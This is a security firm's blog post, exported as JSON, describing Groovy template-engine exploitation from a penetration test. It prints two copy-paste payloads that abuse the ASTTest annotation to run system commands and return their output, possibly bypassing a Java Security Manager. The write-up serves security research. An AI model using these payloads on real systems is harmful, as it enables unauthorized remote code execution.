{"id":5100,"date":"2025-11-11T08:23:44","date_gmt":"2025-11-11T08:23:44","guid":{"rendered":"https:\/\/security.humanativaspa.it\/?p=5100"},"modified":"2025-11-11T08:23:44","modified_gmt":"2025-11-11T08:23:44","slug":"groovy-template-engine-exploitation-part-2","status":"publish","type":"post","link":"https:\/\/hnsecurity.it\/it\/blog\/groovy-template-engine-exploitation-part-2\/","title":{"rendered":"Groovy Template Engine Exploitation \u2013 Notes from a real case scenario, part 2"},"content":{"rendered":"

In the first days of this 2025, I came across a new Groovy-capable templating engine<\/strong> in a client’s web application. Since I was already experienced with this kind of RCE as a<\/del> feature, bypassing input validation<\/strong> was pretty straightforward (check my first article<\/a> on this if you missed it).<\/p>\n

However, the last time I exploited this I had to collect the output of my commands using DNS as a side channel<\/strong> (ugly experience, if you ask me). This time, I decided to spend more time digging into the madness of the “@groovy.<\/span>transform<\/span>.<\/span>ASTTest<\/span>“<\/em> annotation to craft a payload where the output would be returned directly in the Groovy script’s standard output<\/strong>.<\/p>\n

After some hours of swearing with a couple of colleagues (not to mention AI’s assistance), we got the job done! \"Champagne\"\"Champagne\"\"Champagne\"<\/p>\n

So here’s the no-brainer-copy-paste payload<\/strong> that we all crave:<\/p>\n

import groovy.transform.* \r\nimport org.codehaus.groovy.ast.* \r\nimport org.codehaus.groovy.ast.expr.* \r\nimport org.codehaus.groovy.ast.stmt.* \r\nimport org.codehaus.groovy.control.CompilePhase\r\n\r\n@groovy.transform.ASTTest(phase = SEMANTIC_ANALYSIS, value={\r\n\r\ncmd = 'ls'\r\nString out = cmd.execute().text\r\nnode.rightExpression = new ConstantExpression(out)    \r\n})\r\ndef x = 42 \r\n\r\nreturn x<\/pre>\n
The “trick” that allowed us to execute commands is the new ConstantExpression()<\/code> that basically replaces “42” with the result of our command before the actual execution of the script code (since “@groovy.<\/span>transform<\/span>.<\/span>ASTTest<\/span>“<\/em>\u00a0is executed during the SEMANTIC_ANALYSIS<\/em><\/a> of the script).<\/p>\n
Another variant to achieve the same goal<\/strong> is the following, where we replace the code of a method with another using AstBuilder().buildFromString()<\/code>:<\/p>\n
import groovy.transform.ASTTest\r\nimport org.codehaus.groovy.ast.builder.AstBuilder\r\nimport org.codehaus.groovy.control.CompilePhase\r\n\r\n@ASTTest(phase = CompilePhase.SEMANTIC_ANALYSIS, value = {\r\n    \r\n    def newBlock = new AstBuilder().buildFromString(CompilePhase.SEMANTIC_ANALYSIS, false, '''\r\n         cmd = 'ls'\r\n         String out = cmd.execute().text\r\n         return out\r\n    ''')\r\n    \r\n    node.code = newBlock[0]\r\n})\r\ndef runCommand() {\r\n    return \"42\"\r\n}\r\n\r\nprintln runCommand()\r\n<\/pre>\n
These techniques are particularly interesting since sometimes<\/em> they allow the execution of system commands even with a configured Java Security Manager<\/strong>.<\/p>\n
If you are interested in digging deeper into this topic, here’s a bunch of useful resources for you:<\/p>\n